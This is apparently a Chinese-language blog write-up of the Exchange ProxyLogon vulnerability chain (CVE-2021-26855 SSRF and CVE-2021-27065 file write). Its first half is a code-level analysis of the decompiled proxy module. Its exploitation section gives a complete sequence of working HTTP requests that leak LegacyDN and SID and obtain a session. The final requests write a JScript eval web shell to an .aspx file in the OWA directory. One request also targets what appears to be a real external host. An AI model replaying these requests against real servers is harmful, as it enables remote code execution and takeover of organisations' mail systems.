Exchange ProxyLogon漏洞分析

Exchange ProxyLogon漏洞分析

前言

續前文繼續學習Exchange漏洞

ProxyLogon

影響範圍

Exchange Server 2019 < 15.02.0792.010

Exchange Server 2019 < 15.02.0721.013

Exchange Server 2016 < 15.01.2106.013

Exchange Server 2013 < 15.00.1497.012

攻擊流程

1、 通過SSRF漏洞攻擊,訪問autodiscover.xml泄露LegacyDN信息
2、 在通過LegacyDN, 獲取SID
3.、然後通過合法的SID,獲取exchange的有效cookie
4.、最後通過有效的cookie,對OABVirtualDirectory對象進行惡意操作,寫入一句話木馬

ProxyLogon是通過利用CVE-2021-26855 SSRF 漏洞,然後使用CVE-2021-27065 任意文件寫入漏洞組合進行利用。

漏洞復現

github地址:https://github.com/jeningogo/exchange-ssrf-rce/blob/main/exchange-exp.py

python .\exchange.py 192.168.0.16 [email protected]

該漏洞需要一個郵箱賬戶

漏洞分析

Exchange使用的是cas架構,如下圖

iis節點中可以看到有2個節點,一個架設在80,443 另外一個在81,444端口中。

分別是Frontend 和 Backend。這裏面的一些功能也不一樣。Frontend ,前端必須包含一個代理模塊。代理模塊從客戶端獲取 HTTP 請求並添加一些內部設置,然後將請求轉發到後端。後端中負責解析前端請求等作用。

每個前端中的每個模塊都有配有FrontEndHttpProxy模塊

cd C:\Windows\System32\inetsrv

appcmd list wp

查看iis進程池,dnsdy附加進程開始調試

ProxyModule 代碼如下

public class ProxyModule : IHttpModule
	{
		// Token: 0x17000080 RID: 128
		// (get) Token: 0x0600027F RID: 639 RVA: 0x0000EE08 File Offset: 0x0000D008
		// (set) Token: 0x06000280 RID: 640 RVA: 0x0000EE10 File Offset: 0x0000D010
		internal PfdTracer PfdTracer { get; set; }

		// Token: 0x06000281 RID: 641 RVA: 0x0000EF60 File Offset: 0x0000D160
		public void Init(HttpApplication application)
		{
			Diagnostics.SendWatsonReportOnUnhandledException(delegate
			{
				LatencyTracker latencyTracker = new LatencyTracker();
				latencyTracker.StartTracking(LatencyTrackerKey.ProxyModuleInitLatency, false);
				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType>((long)this.GetHashCode(), "[ProxyModule::Init]: Init called.  Protocol type: {0}", HttpProxyGlobals.ProtocolType);
				if (application == null)
				{
					string text = "[ProxyModule::Init]: ProxyModule.Init called with null HttpApplication context.";
					ExTraceGlobals.BriefTracer.TraceError((long)this.GetHashCode(), text);
					throw new ArgumentNullException("application", text);
				}
				this.PfdTracer = new PfdTracer(0, this.GetHashCode());
				application.BeginRequest += this.OnBeginRequest;
				application.AuthenticateRequest += this.OnAuthenticateRequest;
				application.PostAuthorizeRequest += this.OnPostAuthorizeRequest;
				application.PreSendRequestHeaders += this.OnPreSendRequestHeaders;
				application.EndRequest += this.OnEndRequest;
				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType, long>((long)this.GetHashCode(), "[ProxyModule::Init]: Protocol type: {0}, InitLatency {1}", HttpProxyGlobals.ProtocolType, latencyTracker.GetCurrentLatency(LatencyTrackerKey.ProxyModuleInitLatency));
			});
		}

Microsoft.Exchange.HttpProxy.ProxyModule.Init(HttpApplication) -->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeRequest(object, EventArgs)-->
Microsoft.Exchange.HttpProxy.FbaModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.SelectHandlerForAuthenticatedRequest(HttpContext) 

if語句走入三個if分支裏面去,分別來看看不同的條件和處理

if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(httpContext.Request))

public static bool IsEDiscoveryExportToolRequest(HttpRequest request)
		{
			string absolutePath = request.Url.AbsolutePath;
			if (string.IsNullOrEmpty(absolutePath))
			{
				return false;
			}
			if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
			{
				return false;
			}
			EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
			return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath);
		}

該位置返回執行EDiscoveryExportToolProxyRequestHandler

第二個if條件,調用BEResourceRequestHanlder.CanHandle方法

BEResourceRequestHanlder.GetBEResouceCookie處代碼

private static string GetBEResouceCookie(HttpRequest httpRequest)
		{
			string result = null;
			HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
			if (httpCookie != null)
			{
				result = httpCookie.Value;
			}
			return result;
		}

即獲取Cookie中X-BEResource參數不爲空

internal static bool IsResourceRequest(string localPath)
		{
			return localPath.EndsWith(Constants.ExtensionAxd, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionChromeWebApp, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionCss, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionEot, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionGif, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJpg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJs, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtm, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtml, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionICO, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionManifest, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMp3, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMSI, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionPng, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionSvg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionTtf, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWav, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWoff, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
		}

這裏是對uri地址的驗證,驗證是否合法

/ecp/xx.(js|css|gif)等都是合法uri

Microsoft.Exchange.HttpProxy.ProxyRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd
protected override AnchorMailbox ResolveAnchorMailbox()
		{
			string beresouceCookie = BEResourceRequestHanlder.GetBEResouceCookie(base.ClientRequest);
			if (!string.IsNullOrEmpty(beresouceCookie))
			{
				base.Logger.Set(HttpProxyMetadata.RoutingHint, Constants.BEResource + "-Cookie");
				ExTraceGlobals.VerboseTracer.TraceDebug<string, int>((long)this.GetHashCode(), "[BEResourceRequestHanlder::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.", beresouceCookie, base.TraceContext);
				return new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);
			}
			return base.ResolveAnchorMailbox();
		}

~進行分割字符串,~後面即爲verison版本號

BeginProxyRequest-->GetTargetBackEndServerUrl()

protected void BeginProxyRequest(object extraData)
		{
			this.LogElapsedTime("E_BegProxyReq");
			this.CallThreadEntranceMethod(delegate
			{
				lock (this.LockObject)
				{
					this.HttpContext.SetActivityScopeOnCurrentThread(this.Logger);
					PerfCounters.IncrementMovingPercentagePerformanceCounterBase(PerfCounters.HttpProxyCountersInstance.MovingPercentageMailboxServerFailure);
					try
					{
						Uri uri = this.GetTargetBackEndServerUrl();
						...

這裏還有個條件判斷,如果版本大於Server.E15MinVersionProxyToDownLevel則爲false。這個是一個重點之一。

判斷版本號小於1941962752版本則走入以上if邏輯代碼中

1.設置HTTPS

2.Host即FQDN,xxxx.com

3.如果端口小於Server.E15MinVersion的值,端口會被設置爲443

{
					UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
					clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
					clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
					clientUrlForProxy.Port = 444;
					if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
					{
						this.ProxyToDownLevel = true;
						RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
						clientUrlForProxy.Port = 443;
					}
					result = clientUrlForProxy.Uri;
				}
			}

this.AnchoredRoutingTarget.BackEndServer.Fqdn;該位置的值可控,那麼result的值也可控。

繼續往下走邏輯來到該位置

調用this.CreateServerRequest將uri發送給後端服務器

調用this.PrepareServerRequest(httpWebRequest);進行身份認證。

這裏返回false

調用 GenerateKerberosAuthHeader() 函數來 創建Kerberos 認證頭部。這也是中間代理能夠訪問BackEnd Server的原因 。

ShouldBlockCurrentOAuthRequest函數裏的ProxyToDownLevel是用來檢查用戶是否已通過身份驗證;而當有請求調用BEResourceRequestHandler時,ShouldBackendRequestBeAnonymous()就會被調用。繞過認證,然後把數據包組成後發送給後端。後端響應請求,把數據返回給客戶端。最後達到一個SSRF漏洞攻擊的過程。

漏洞利用

這裏ssrf去訪問autodiscover.xml自動配置文件的原因是因爲Autodiscover(自動發現)是自Exchange Server 2007開始推出的一項自動服務,用於自動配置用戶在Outlook中郵箱的相關設置,簡化用戶登陸使用郵箱的流程。如果用戶賬戶是域賬戶且當前位於域環境中,通過自動發現功能用戶無需輸入任何憑證信息即可登陸郵箱。autodiscover.xml 文件中包含有LegacyDN 的值,

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Ex01.klion.local/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 375


    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>[email protected]</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>
    

需要提供一個郵箱賬戶,通過ssrf訪問後端功能獲取到LegacyDN的值。

然後使用LegacyDN,獲取sid

POST /ecp/1qnl.js HTTP/1.1
Host: smsrv.schmidt-steuer.de
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;
Content-Type: application/mapi-http
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: {E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456
Content-Length: 149

legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

獲取完成後,使用sid獲取cookie

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/proxyLogon.ecp?a=~1942062522;
Content-Type: text/xml
msExchLogonMailbox: S-1-5-20
Content-Length: 247

<r at="Negotiate" ln="john"><s>S-1-5-21-169768398-886626631-87175517-500 ·sid·</s><s a="7" 
    t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s 
    a="3221225479" t="1">S-1-5-5-0-6948923</s></r> 

文件上傳

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
Content-Type: application/json; 
msExchLogonMailbox: S-1-5-20
Content-Length: 168

{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 393

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章